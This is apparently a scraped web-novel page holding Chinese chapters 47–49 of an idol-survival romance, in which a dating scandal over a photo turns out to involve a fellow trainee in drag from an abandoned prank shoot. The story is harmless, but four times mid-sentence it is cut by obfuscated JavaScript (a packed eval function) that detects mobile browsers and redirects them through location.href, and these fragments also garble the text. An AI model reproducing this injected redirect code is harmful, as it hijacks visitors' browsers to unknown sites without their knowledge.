[派派甜心:雨姐上午好!收到!我今天休息的,立刻就开始查!我倒要看看是哪个小贱人在造谣!] [落雨时节遇见他:软糖、小霞还有猪猪,你们还是组织好群里的秩序,别让她们去平台冲热度,全都少发言,等我们调查清楚再说] [落雨时节遇见他:薄荷你公司现在离欧瑞近,有里面认识的人吗?看看能不能约到经纪人,我这边打了他好几个电话没接] 群里的人一个个应声,陈敛清却始终保持沉默,柳雨有些担心。 [“落雨时节遇见他”拍了拍“爱吃偶的莲蓬”] [落雨时节遇见他:陈姐,你在吗?] 昏暗的公寓内,坐在办公桌前黑眼圈快挂到脸颊的女孩推了推眼镜,无视掉自家老爹喊自己去见八百年没见的“竹马”的讯息,一遍又一遍查看傅寻砚最近的商务。 唯一一项可疑的行程是前天晚上的“商业见面”。 “顾廷川?”陈敛清将这个名字在嘴里炒了一遍,骤然想起什么,连忙查找李鹏程和自己的聊天记录。 李鹏程昨天早上就告诉她,让她转告大粉们,未来几天有可能会出现风言风语,做好警惕。当时陈敛清没多想,以为是第一次排位的后续影响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356142|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在看来不大可能。 “鲟鱼”和“叶子”们打架那是排名公布当天的事情了,虽然很激烈,但两家粉丝相对有素质,在大粉的管理下很快下头,除了偶尔的嘲讽和小范围拌嘴,没有出现互挖黑料的迹象…… 果然还是那个顾廷川吧! ** 就在粉丝们要死要活,社会大众忙于吃瓜的时刻,傅寻砚又被叫到了节目组会议室。 被选管们笑称都不知道是“几进宫”了。 会议室内的气氛很平静,完全没有外界所想象的慌乱,李鹏程坐在一侧,节目组坐在另一侧,大屏上投放着那张“绯闻照片”。 李鹏程在进行解释:“大半年前傅寻砚是有国外行程,我帮他争取了去H国集中训练两个月的交换项目,因为当时傅寻砚在国内高中读书还欠着钱,所以训练结束后会去打工。” 看到傅寻砚进来,他顿了顿,“这些事情他都和我报备过的,但这个女孩……” 众人齐齐看向傅寻砚。 傅寻砚从进门开始就注意到了那张照片,第一反应是“拍的还挺好看”,然后才看到了上面所谓的恋爱说。 “没有这回事,那个女生和我没什么关系。” “可是你们的动作,还有她手里的钻戒……”沈子卿皱着眉。 她注意到傅寻砚轻轻挑了挑眉,两颊的肌肉微微被牵动,像是憋笑又憋不住的样子,实在不符合他平时的形象。 她有些着急,都什么时候了,他难道意识不到情况的紧急吗?就算是那个顾廷川要在背后搞他,可照片是真真正正出现在这里的,练习生谈恋爱可是大忌! “你倒是解释啊!”沈子卿薄怒,脖子泛起红色,“傅寻砚!虽然大家都知道这件事肯定是有人私下操作弄出来的,但你如果处理不好,节目组没法继续保你。” “退赛不至于,但很可能掉出出道位!” 沈子卿指责傅寻砚义正言辞,但其实底气不足。节目组现有的热度是傅寻砚带来的,他出了问题充其量也就是把热度全部收回去而已。 可沈子卿不管,她身后站着的投资人、领导层也不会管。 可他们没想到,青年依旧是那副云淡风轻的样子,他抿了抿唇。 “我是要解释,但我想,你们还得叫一个人过来我才能解释。” 哈? 《月光》的练习室里热火朝天,组里除了叶莱,其余都是十几二十名的练习生,能混到这个排名的多多少少有点本事,不可能让镜头里出现冷场。 三三两两玩着小游戏,掰着手腕,在十分钟的休息时间里花枝招展。 作为一顺第一,叶莱不太一样,虽然看上去像是校园文里的清秀学弟,但他私底下的个性带着点冷淡。 不像白闻及那么生人勿进,而是一种很礼貌很委婉但更扎心的,圆滑式的冷淡。 在几次邀请他一块儿玩无果后,那些练习生也就不管他了,任由他一个人站在练习室边调整呼吸,闭眼休息。 “叶莱!导演找你!” 突然有人开门,众目睽睽下叶莱一个人跟着选管出了门。 “怎么叶莱也被找了?”名叫陈宇杰的金发小伙挠了挠头。 旁边彭思源耸肩:“不知道。” 另一个练习生小心挪过来,示意大家远离练习室的收音器,“会不会和排名有关?我感觉……小声说哈,那个一顺排名很明显不对劲嘛。” “我也觉得,叶莱怎么会超过傅寻砚呢?我有小道消息,说是做票,那天直播宣布排名后听说傅寻砚的粉丝怒充会员,平台涨了十几万vip呢。” “我去,好牛逼的号召力!” 叶莱站到门口,平复了一下心情,抬手敲门。 “进。” 47.第四十七日 里面是熟悉的女声,叶莱知道那属于总导演。 穿着训练服的男孩走进来,微微躬着身体,眼睛在坐着的人和站着的人身上都扫了一圈,最后缓缓落在傅寻砚身上。 “请问,是找我有什么事情吗?” 他注意到,当他问出这个问题时,似乎并没有人能回答,他们和他一样,都不知道答案。 所有人只是把目光投射在中间身形颀长的青年身上,他就像宇宙中一颗爆炸的星,正在牵动所有周边尘埃的命运。 “叶莱到场了,现在可以说说怎么处理了吧?” 处理?处理什么?叶莱感到困惑,一下子撞进那双眼眸里。 一如既往的深潭,但骤然印出月光,跃动着的皎洁带来了最后一个春夜的躁动。 他看到傅寻砚扬了扬下巴,好看的下颌线指向前方大屏。叶莱不自觉轻移视线,一眼看见了那张照片。 那是! 李鹏程注意到叶莱的脸色突然变得很精彩,苍白只是一瞬间,飞快变成了绯红,如三月的桃花一样艳丽,男孩的眼眶里也很快蔓延出一点水汽。 不是因为难过伤心,而是过于急切和……羞涩。 “我……那个是……” 节目组的工作人员从没见过这样的叶莱,他年纪虽小个性却一直都很从容不迫,是妈妈粉眼里“别人家的小孩”,体贴优雅,出道三年从未留下黑历史,哪怕是去乡下的团综,他也很注意自己的形象管理。 他从来都是微笑的,尽管有人评价他有点假(不然不可能在《新世纪》交不到朋友),但没有人能否认,如果要给“偶像”找一个对标者,那叶莱一定最为标准。 沈子卿很疑惑,“怎么了?反应这么大?这个女生你也认识?” 三连问没能让叶莱开口,反而似乎更加窘迫,在这样的着急中他瞪了一眼傅寻砚。 很生动,微笑的假面男孩第一次当着那么多人的面,不加修饰做出这样不礼貌的表情。可他仍旧是好看的,绯红的脸颊和水润的眼眸,终于有了二十岁的局促。 被他瞪了一眼的青年站在原地,突然笑了。与叶莱不同,他的笑承载着潋滟风光,如同春日枝头盛放的花朵,眼角眉梢都是暖意和风情。 嘶——全场工作人员内心倒吸一口气。 这两人实在与“恃美行凶”四个字太过吻合,他们不需要做什么就能把人迷晕乎。 不过,为什么他们之间的氛围如此之奇怪? 傅寻砚先开口了,他看向节目组,“那个女生叶莱不仅认识,关系匪浅,可以说是这个世界上最亲密不过的人了,你说对吧叶莱?” 叶莱气极,“你放屁!” 哇哦,小王子骂人了,好震惊。 就是不知道为什么,明明这两人在拌嘴,他们却好像莫名看了一场偶像剧。 工作人员死鱼眼。 这叫什么,命运的羁绊啊,我的绯闻永远和你有关,这何尝不是一种我的cp是真的的证据呢? 叶莱知道事情必须有个解释,同时隐约也察觉到大概是这张照片流进了市场,导致傅寻砚现在产生了恋爱风波。 这不是肯定的吗?照片里那女的狗都不会认出来,傅寻砚的脸可是清晰的很,两人那种姿势怎么都会被误会吧! 叶莱万念俱灰,但他毕竟是个好人。 “那个女生,其实是我。” 叶莱的脸色太不正常,工作人员本来以为是他认出了那个女孩,都在等着叶莱说这女生是他姐姐、妹妹……甚至离谱一点妈妈小姨之类的也不是没可能,但叶莱给出的答案还是把所有人吓了一跳。 “什么??”“怎么会!”“晕” 所有在场的人,除了叶莱和傅寻砚,都感到不可思议。 “小郑掐我一把,看看是不是在做梦。”副导演钱秋生眼神涣散,不敢相信自己听到了什么。 沈子卿情不自禁拍了下桌面,“你?你在开玩笑吗?” “是我是我。”叶莱颇有点破罐子破摔的意思。 “那时候我在拍团综,内容就是打扮成女孩,随机邀请一名陌生男子和自己戴情侣戒指。” 沈子卿有些犹豫,“但就我所知你的团综里好像没有相关内容?” 叶莱咬牙,“因为最后太丢脸了没放出来!” 不是,既然早就知道丢脸为什么要拍摄啊? 傅寻砚若有所思。 ** 七个月前。 “把名额给他?”老张总瞥了一眼傅寻砚,“他才签给你四个月吧?有什么成果吗?” 李鹏程那时在老张总面前说的上话,还很意气风发,他挑了挑眉,抓着傅寻砚的胳膊向前推了一步。 “张总,看看这张脸,这张脸绝对值得投资。还有小傅实力不差的,虽然起步晚,但老师们都说他体力很好,对唱歌跳舞加持很大。” “还有,您看当初会议上不就是说每个组都有一到两个名额吗?虽然我这组目前就我一个经纪人,但好歹也是一个组不是?” 李鹏程话就说到这,眼神示意傅寻砚说两句好听的给老张总,这次培训可是公司出钱免费送他们去交流,公司里二十多号练习生争这八个名额呢。 然而被他暗示的男孩像听不懂话一样。 他的头发已经很长了,为了省钱总是舍不得理,推到下周又下周,如今全部堆积在眉毛下,几乎遮住眼睛。 脑后面倒是方便,随便拿根皮筋一扎,男不男女不女,傅寻砚也不在意。 他的眼神古井无波,又有着些许克制,总之整个人站那就和死水一样,无聊平凡让人缺乏兴趣。 但他条件确实不错,手长腿长,整个人不是那种弱不禁风的薄薄一片,身材很好,小头小脸已经算万里挑一。 老张总对傅寻砚没什么好感,但他要给李鹏程面子,最后还是答应把他打包塞进队伍送去了H国。 其他七个人都在公司至少练习了两年,关系亲密,对不爱说话的傅寻砚自然排外,以至于落地后才发现傅寻砚没有住宿。 统筹的工作人员不知道出于什么原因,把傅寻砚漏了。 出租屋里挤一个人其实没什么问题,但那些男孩眼里的排斥厌烦刺痛了十九岁的傅寻砚,他没说话,一个人拎着简易的背包,在已经十一月冷下来的天里,穿着薄薄的夹克步入街头。 他的生存能力超强,哪怕不会说这里的语言,也靠着自学的英语在便利店申请到了一份临时工岗位。 傅寻砚至今觉得是因为当时的自己看上去太过可怜,老板才会大发善心让一个外国人来帮忙。 至于住宿,傅寻砚不憋这口气,当天就联系了李鹏程,对方向公司为他申请到了一笔钱,勉强能租一个老破小。 接下来的一个月,傅寻砚就在十平米的空间里生存。他的兼职在早上五点到十点,以及晚间九点到十一点,薪酬丰厚,且好处是三餐都可以在训练的地方,与靠便利店过期产品解决。 考虑到汇率,其实傅寻砚这期间赚的比在国内兼职还多,也算小赚一笔攒到了学费,这让他每天心情不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360271|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 初雪的那天,傅寻砚照常来到便利店打工,刚刚把所有物品整理到位,就听到门口一阵喧闹。 不过在异国他乡,他没什么探究欲,所以只是继续做着清理工作。 “全部准备好了吗?叶莱先拍?”戴着帽子的pd皱眉喊了一声。 “是的。”助理放下电话,有些忐忑地在pd耳边说了些话。 “既然不愿意,那他和自家公司提啊,和我说有什么用。”pd不太高兴,“这个载赫也是任性。” 助理没忍住,也小小抱怨了一下,“是啊,不过也没办法,毕竟这个团的资源都是载赫家给的。” Pd不关心这些,他只是被请过来拍一期团综而已,嘉宾配不配合影响不到他的工资。 “不管了,你继续催那边快点拿主意到底拍不拍,我先完成叶莱的趴吧。” “啊西八真是可惜,叶莱倒是长得好看又听话,唯一的遗憾就是绿卡了吧。” 草丛后,早已装扮好的男孩睫毛颤了颤,望着自己身上的短裙嘲讽一笑。 他是绿卡,所以这些团里其他人都不愿意的行程总是他第一个顶上。 叶莱没什么好说的,许许多多绿卡前辈都是一样的待遇。而就凭他现在的地位,连反抗都像蚍蜉撼大树。 他拍拍身上的水珠,抬头看了看天。 云层很厚,不是要下雨就是要下雪。 十一月的夜晚很冷,即便上身穿着假貂皮大衣,叶莱依旧冻的瑟瑟发抖,更别提下身就一件短裙和薄薄的打底裤了。 长假发毛毛糙糙很不舒服,扎得脖子瘙痒,叶莱控制住抓挠的欲望,看向街边。 那是一家很平凡的便利店。 不,又有些不平凡,它突兀地开在街角,周边没什么商店,独占一个僻静。 最近它的不平凡不仅来自于地理位置,还在于店内的某些新东西。 为了融入H国文化,叶莱常刷各种软件,特别是追星app之类的,于是在半个多月前刷到了一条当时还挺火的帖子。 高中女在贴子里说,自己常去的便利店出现了一个帅哥兼职生,可惜是个外国人,和他交流有点困难,不然她就A上去要联系方式了。 本来关注的人很少,直到有一个留言希望贴主po图,等到那张模糊不清的偷拍照上传后,帖子热度迅速飙升到了当日一位。 帅,确实帅! 明亮的白炽灯下,头发有些长的男孩身形高挑,骨节分明的手拿着一盒牛奶就和拿小玩具似的,充满了诱惑的意味。 看不清脸,但脖颈白皙,露出的下颌线精致无比。 正是这种朦朦胧胧的氛围感最为致命,以至于之后好几天都有人特意去这家便利店打卡,每个见过真人的都说真的很帅,可就是不放正面图。 问就是帅哥要私藏,等追上才愿意分享。 想到这,叶莱更是觉得讽刺。节目组说是什么随机抓男孩整蛊,却偏要到这家店里点拍,也不知道是不是和这个男生有什么协议。 叶莱不吝于以恶意揣度他人,他觉得一定是那个男孩在网站爆火后签了公司,又和自己的公司有利益交换,希望借他们的团综给这男生炒热度。 “叶莱!可以上场了!” 叶莱扫去脑子里乱七八糟的想法,裹紧了上衣,朝着便利店直接走了过去。 不管他们的目的是什么,他只要表现好自己就行。 比载赫、比贤俊、比右希,还有那个便利店员表现得好就行。 不是吗? 48.第四十八日 下午时,街道下过一场雨,潮湿的水汽覆盖在每一扇玻璃上,无法被轻易除尽。这种朦胧的模糊的东西凝结成一串,缓缓从玻璃滑落。 冰冷愈发冰冷,而温暖被隔绝在室内。 青年的脸被热气氤氲成微粉,他不得不换成夏季的工作制服。 将耳机连上,循环播放英语听力和语文诗句,青年在沉默里静静守在店内。 叶莱在门口深呼吸,卡在包缝上的摄影机如果不注意,根本无法被发现。他没有直接进店,而是遵从指示将摄像机抬高,隔着玻璃对准了那张脸。 耳机里不断传出对面的惊呼。 “哦莫哦莫,也太帅了!” “超绝王子nim怎么在便利店打工呀” “切拜也让我用那张脸活一天吧!” “果然选这家便利店没错!工作时还能看帅哥可真好啊。” 叶莱看见那人的第一眼,就有百分之八十肯定对方是国人,毕竟这里可鲜少有男生能长出那样好看的眼睛。 但猜测对方也是华人后,叶莱心里随即产生一种憋闷,是由危机感带来的难过。他不可自控地想,如果这个男生在镜头前比自己表现更好,粉丝会不会移情别恋。 耳机里pd已经在催促进场,叶莱只好闷着头推开门。 “欢迎光临。”店内的自动语音充斥着非人感,僵硬、诡异,让人不自觉起鸡皮疙瘩。 叶莱很想自然地搭话,但那人眼睛看过来的瞬间,他就好像被冻住一样,同手同脚起来。 或许是对叶莱的不自在感到疑惑,男孩摘下耳机,眼睛冷冷清清盯着他,随后微微颔首。 “那个……”叶莱靠近,愈发觉得热意上脸,他无法直视他的面孔,只好眼睛乱转,盯住了身后的招牌。 “有什么需要吗?” 叶莱听到对方轻声询问,语调有些不太对,语序也完全错误,完全是H语新手。 可他的嗓音太好听了,启唇发声的刹那仿佛春溪破冰,每个音节都裹着薄荷般的清冽。 是那种不醉人的果酒,清甜中裹挟着微醺的芬芳,即便语言掌握不佳,也能让人听见山涧流水与云雀振翅的交响,还能品到酒香萦绕舌尖的美妙。 他站着:“我……可以请你帮个忙吗?我实在不知道该怎么办了。” 天知道叶莱花了多少毕生功力按照台本念出羞耻的词,一想到接下来的剧情更加让人脚趾抓地,他就感到天昏地暗的绝望。 甚至忘记了对便利店青年的敌意。 他用手捂着脸,只能从指缝看见地砖。 他听见衣料摩挲的声音,随后运动鞋停在了面前。 “可以,所以请说需要我帮什么。” 叶莱以便利店太热头脑不清醒为由把便利店员骗到了门口,因为高清摄像头都在外边。 看着他单薄的制服,叶莱终于后知后觉有点歉疚。 但人已经站在门口了。 他重新回去了一趟,再出来时递给了他一杯热咖啡用于捂手。 不愧是国人,素质真高!叶莱近乎荒诞地在这种时刻产生了这种想法。 “非常好叶莱!你们一起站着的画面很好看,麻烦沉默一会营造些氛围,然后就继续台词吧。”耳朵里传来pd的指示。 监控带来隐秘的偷窥感,让叶莱浑身起鸡皮疙瘩,寒意顺着皮肤表层渗透进去,钻入骨髓,与那种刺激感交汇,他微微颤抖。 叶莱能感觉到身边青年看了自己一眼,但没有戳穿他的紧张。 冷静了一会,终于在嗓子眼里找回声带存在的感觉。 余光里,高瘦的青年倚靠在窗上,血管毕现的手背抬起戴上了帽子,然后塞入口袋以保留最后的暖意。 他看见他线条流畅的下巴,棱角分明的下颌骨,高挺的鼻梁和好到让人嫉妒的皮肤。 霜色漫过,他的睫毛上凝着细小的冰晶,在路灯昏黄的光晕里折射出碎钻般的微光。 嘴唇已经完全被冻成了浅色,微微抿着。 他陪他沉默,尽管两人没有任何关系,但他愿意在这个空闲的时刻,陪他在冷风中沉默。 对他而言,无声的陪伴是最好的安慰方式,让人感到安心,好像腰后伸出一双温暖的手在全力托举,在这样的力量里找回理智。 “我被男友劈腿了。”叶莱开始装模作样,他故作伤心地从包里取出对戒,“他凭什么啊!明明在一起三年都是我倒贴,我甚至给他准备了结婚戒指!” “房子也是我买的,每次吃饭都是我请客!” “他怎么能这样,嘴上说着什么我们家看不起他,转身却享受了三年我的付出!” 便利店店员扫了一眼叶莱手里的鸽子蛋,节目组为了求真,这对戒指上的可是真钻石,是富二代工作人员友情赞助的。 叶莱再接再厉,“我不甘心!那个男人肯定现在坐在我预定的豪华餐厅里,痴心妄想我去下跪求他结婚!” “不行!我一定要让他知道老娘有的是人喜欢,所以,你能不能借我只手演个戏?” 怕他拒绝,叶莱连忙找补,“不用你脸出镜的,只要借只手给我,帮我戴着这个钻戒拍张情侣照就好!” “为什么不找别人?” 嘿,这家伙还挺警惕……叶莱只好继续编瞎话。 “这不是想找个手比我大或者差不多的嘛?我太高了,男生基本要比我高才能满足这个条件,可现在大街上……” 这个点在附近游荡的都是上班族,平均一米七五的中年男人很难满足“她”的需求。 叶莱不敢看他,生怕一对眼自己就笑场,全程低着头。 但或许正是这种低头让对方以为自己真的很伤心,那青年沉默了一会,叹口气答应了。 用那一口蹩脚的H语答应了叶莱的请求。 叶莱心里松了口气,他可不想在这里失败后再找一个路人见证他的女装,所以连忙将胳膊塞入男孩的右臂,拿出手机准备拍摄。 但肩膀被人握住。 叶莱一阵紧绷。 “你、你干嘛?” 下一秒位置调换。 “抱歉,我的右手手背上有太过标志性的痣,为了保证不引发误会,请用左手。” 叶莱垂眸,男孩把手伸出来给他看了。 白皙如冷雪的手背上,青筋显露无疑,手指纤长,带着一股子色意。那一颗痣就点在靠近骨节的地方,在一根紫色血管上方,引起人无限遐想。 叶莱不自觉吞了下口水,心里很赞同男孩的避讳。这痣长得也太绝了,熟人一眼就能辨别出来正主身份。 “哦,好的。”叶莱同意,反正交换一下位置没什么问题。 他从盒子里取出闪瞎人眼睛的戒指递过去,男孩自己戴上,尺寸略大,但他们调整了一下角度让它在镜头里看不出异样。 叶莱正拍的起劲。如果说一开始他只是为了拍摄综艺,那么现在他有点沉迷这个游戏了,镜头里那只手太好看,手模都比不上他,以至于叶莱狂拍十几张。 “虽然我帮了你这个忙,但我还是劝你再考虑一下这个报复方式。”冷淡的嗓音在耳畔响起。 “对方是个渣男毋庸置疑,但你不必以自己也花心的形象报复回去,你明明没有出轨不是吗?为什么要为了气对方一下损害自己的清白呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367227|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “也许你现在赶到店里,当面戳穿他更好吧?” “当然,最好找个男性朋友或亲属陪你一块去,以免对方恼羞成怒报复你。” 叶莱才不管这个建议,只是敷衍地嗯嗯嗯,毕竟他又不是真的“被男友背叛的女孩”,那只是演戏而已。 对方见他不听劝,抿唇不说话了,气氛瞬间冷了下来。 按理来说,这个时候节目组该跳出来喊停,然后皆大欢喜式结局向这个被蒙在鼓里的年轻人解释来龙去脉了,可偏偏过了很久都没动静。 叶莱将手机放回包里,又开始变得焦虑,不由得搓起了手。 Pd他们在干什么啊? “你一会要过去吗?” “什么?” “那个餐厅里,你不是和男友约好吃饭的吗?” “啊,对,我是要去来着。”叶莱已经不知道谎言该怎么继续下去,台本上没写啊。 身边的男孩沉默了一会,回到店内,大概一分钟左右又走了出来。 叶莱正看着茫茫的天色发呆,转瞬眼前伸过来一个对讲机一样的东西。 “这是?” “防狼电击器。” 叶莱惊讶抬头,他第一次正视男孩的面孔。 那是如漩涡一样的面孔,让人第一眼就陷了进去。 对方对这种黏着的目光习以为常,继续交代他的事情。 “这个借给你,待会注意安全,虽然我还是不建议你以那种方式报复对方,男人……特别是像你男友,心眼可能很小,很容易在激动的情况下做出冲动行为,为了安全,你还是带着这个吧。” 叶莱终于从漩涡里回神,他突然觉得很有意思。 “你们便利店还有这个卖?” “不是。”男孩抿唇,脸上冷淡的神情第一次破灭,多了些许无可奈何,“是我自己的。” “自己的?”叶莱愣了一下,然后立刻明白过来。 “啊,是哦,这年头色狼不分男女都很多嘛,长你这样的确实要更小心一点。” 男孩转过头,倔强的表情摆明了不想承认这件事。 “哈哈哈。”长卷发浓妆美女笑得花枝乱颤,嗓音也差点没夹住,好在叶莱功力深厚,没让对方听出不对劲。 看到身边的女人心情终于好些,男孩也勾唇有了点笑意。 “哇下雪了!” 叶莱惊呼,“这可是初雪诶!” H国对初雪有种执着,在这里生活了三年的叶莱也成功被感染了。 嗯。男孩仰头,干净的侧颜在灯光下恍若神明,洁白的初雪完全沦为点缀,不及他一分耀眼。 叶莱心里有所触动。 因为那个人看起来,美好而又孤独。 “你这么帅,是不是练习生啊?”叶莱打探。 男孩点头,“嗯,算是吧。” “算是?那你打算出道吗?” 叶莱早就预设好了答案,能来参与拍摄,肯定是预定出道的练习生吧。 他从来没想过,对方有可能真的不知道正在拍摄。 “出道吗?”男孩看着夜空,声音里充满了缥缈,“没想过,应该不会。” 这个答案大大出乎了叶莱的预料,以至于让他下意识问了句为什么。 对方轻声,“没钱没背景出道的话,会很糟糕吧。” 他现在,也不过是看在李鹏程每个月付给他两千工资,加上可以学一点舞蹈和唱歌精进自身的份上,才答应了做练习生。 未来是个什么样子,他实在无法去畅想。 这不是一个挣扎在生存线上的人,有余裕考虑的问题。 49.第四十九日 叶莱忍辱负重一天,节目最终没有制作完成。 因为载赫坚决反抗,认为男扮女装会损害他在粉丝心中的形象,于是这个企划不了了之。 从换衣到化妆再到克服心理困难,叶莱白忙活。回到休息室,他张了张嘴,所有的憋屈和欲宣之于口的愤怒,顷刻间像是被一盆冷水熄灭。 他坐下,攥紧了拳头,无声看着那三个家伙翘着二郎腿玩手机。 叶莱怎么也没想到,那段明明已经被丢弃的视频材料,莫名其妙出现在了这里,一个和他原来的组合毫无关系的选秀节目。 “你们是怎么找到这个的?” “不是我们找到的。”沈子卿在得知里头的女孩是叶莱后,神情轻松不少。 “有人……” “顾廷川。”傅寻砚直接把话挑明,“叶莱已经知道了那件事,可以直说。” 沈子卿无奈喝了口茶,“好吧,这是顾廷川威胁寻砚的手段之一。” “不止。”李鹏程看了眼傅寻砚,得到对方的眼神示意,将这两天委托人查找的资料拍在了桌面上。 “还有Pennyline。” 啊?节目组有些惊讶,杨清和钱秋生一人一张纸拿过去先看。 “怎么Pennyline也被扯进去了?”沈子卿不解,“说起来这家公司是Kenny的签约公司对吧?” 李鹏程点头,“参加节目的中韩合资公司不止一家,我们一开始也没怀疑到它头上。不过最后查清楚了,就是它,连上次霸凌的事情也是他们在弄虚作假。” 好啊,沈子卿生气了,把茶杯往桌上一嗑,“他们疯了吗?要造谣也不能用这种事情造谣吧?” 没有人回应他。 如果Pennyline针对的不是傅寻砚,不是这个给节目组带来收益的练习生——甚至只要傅寻砚不在这站着,沈子卿都不会假正经地开骂。 “如果你需要,节目组这里可以配合你再做一次澄清。”沈子卿许诺。 钱秋生嗫嚅了一下,把丛赫已经请了某位高人的话递到沈子卿耳边。 沈子卿的脸色微变,她也没想到丛赫和傅寻砚交情这么深,能够请那位帮忙。 傅寻砚却没管他们之间的悄悄话,“虽然丛哥那里能帮上大忙,但我不能坐享其成,沈pd,能麻烦你在二公后安排一个环节吗?” 那天,除了一众核心工作人员、节目投资人以及叶莱,没有其他人知道傅寻砚将采取何种澄清和“回报”。 ** 周四一早上,达裴起床时没看见傅寻砚。 “他昨晚回来了吗?” 沈迟慢悠悠醒过来,“你说傅哥吗?他大概两点回来的吧,回来还背了一小时单词呢,我真是服了这样的高质量人类。” 说着把脸埋入枕头,痛苦万分。 “啊可恶,有了傅哥这个对照组,我高考要没考好可怎么办啊。” “那你倒是起来学。”上头窸窸窣窣传来穿衣服的声音,白闻及跃下床,掀开窗帘,让八点的太阳照耀进来。 “他可是七点又起床去锻炼了。” “不对。”达裴皱眉,“如果是去训练的话,他不会不给我们带早餐的。” 虽然每次都让傅寻砚带早餐有点恬不知耻,但……确实是傅寻砚顺手的事情,他有严格的晨跑和吃早餐的习惯,久而久之大家也就接受了好意。 傅寻砚给他们带早饭,他们就经常去给傅寻砚送午餐和晚餐。 但问题是,现在傅寻砚去干嘛了? 三人没商量出结果,结果训练的时候他也不在练习室,甚至没一个人早上见过他。直到中午吃饭的时候,傅寻砚才终于现身。 奇怪的是他戴着一顶两侧有帘子的嘻哈帽,完全遮住了整张脸。 达裴率先走过去,试图拨开黑色的布料。 “怎么了?是有什么过敏了吗?” “你手也太快了,我没有过敏。”傅寻砚无奈拍开,在达裴手背留下红痕。 达裴不生气,只是贱兮兮又庆幸地笑。 “不是过敏什么的就好。” “那干嘛戴这种奇怪的帽子?” 白闻及和沈迟赶过来,捂着额头一把将快要贴到傅寻砚脸的家伙撕过来,“有没有可能人家做了造型?” 啊!造型。达裴终于醒悟。 “你染头了?” “嗯。”傅寻砚应声,“但这里人太多了,回宿舍看?” “这有什么?要保密?不至于吧,下午要排练,你现在保密好像也没什么用诶。” 帽子里的男孩抿了抿唇,声音闷闷的。 “只是……有点不好意思。” 哟,傅寻砚还能有不好意思的时候呢?白闻及等人怔住,脸上的表情变为极致的好奇。 “你还会不好意思?到底是什么恐怖的造型啊!走走走,我倒要看看你变成了个什么样式的妖精!” 达裴兴奋极了,狗狗祟祟推着傅寻砚就往宿舍跑。 “诶诶诶哥!饭!饭还没吃呢!” “什么时候了你还惦记那口饭!老白!帮我们带三份!” 落后一步的白闻及翻了个白眼,一把抓住路过的江瀚,“江瀚,麻烦给我们打四份饭到204宿舍,谢谢。” 江瀚:萨摩耶挠头困惑.jpg。 寂静席卷了204。 所有观众都知道,达裴一只狗就能填满204的所有音频,只要他想就没有安静下来的时刻。 但这一刻不同。 明媚的室内,阳光无法再往前一步,而是停在青年的脚尖以前,好像永远无法照暖那一寸空间。 傅寻砚节食了四天,这是所有人都知道的事情。 他每天保持着最低程度的进食,并且坚持在健身房锻炼两小时以上。 如今的他,垂眸倚在门前,下颌线锋利得近乎刻薄,皮肤泛着冷白,像被雨水泡皱的宣纸。青灰色的血管在脖颈处蜿蜒,随着呼吸微微起伏,仿佛下一秒就会冲破皮肤的桎梏。 那双狭长的眼睛慵懒地眯着,瞳孔幽黑像是凝固的墨点,表面平静无波,却在偶尔转动时闪过一丝癫狂的光。 仅有少许血色的薄唇紧紧抿着,阴郁如同纠缠的蝴蝶降落在唇瓣间。 即便没有化妆,但盯着他就如同看见了深渊,莫名使人心悸。 沈迟不由自主捂住胸口,心脏跳动得太厉害,让他怀疑自己是不是生病了。 “傅、傅哥……” 呼唤出口的刹那,对面的青年收敛一身疯狂,嘴角勾起露出一个温暖的笑意。他走入阳光照得到的地方,歪了歪头。 “怎么样,这个形象。” 白闻及张了张嘴,说不出话,他的余光里,达裴像是被冻住一样动也不动。 当傅寻砚走到光线下,他的发愈发夺目。 和旻海进来时的银色不同,傅寻砚头上的颜色更接近银灰,比老奶奶灰多了冰冷的机械质感,这种感觉被发梢的微妙灰蓝色加深。 发型师已经为他定好了明天最终的造型,侧剃,其余头发摸了发胶后贴在耳上向后而去,像是战斗机的两翼,滑过锐利的弧线。 “你别笑了。”白闻及咽下口水,找回自己的声音。 “你现在怎么笑,都让我感觉很害怕。” 达裴微微点头。 谁也没想到二公傅寻砚的造型会如此——锋芒毕露。尽管在表演《爱·棘》时,他的慵懒卷发已经是大多数人都没尝试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 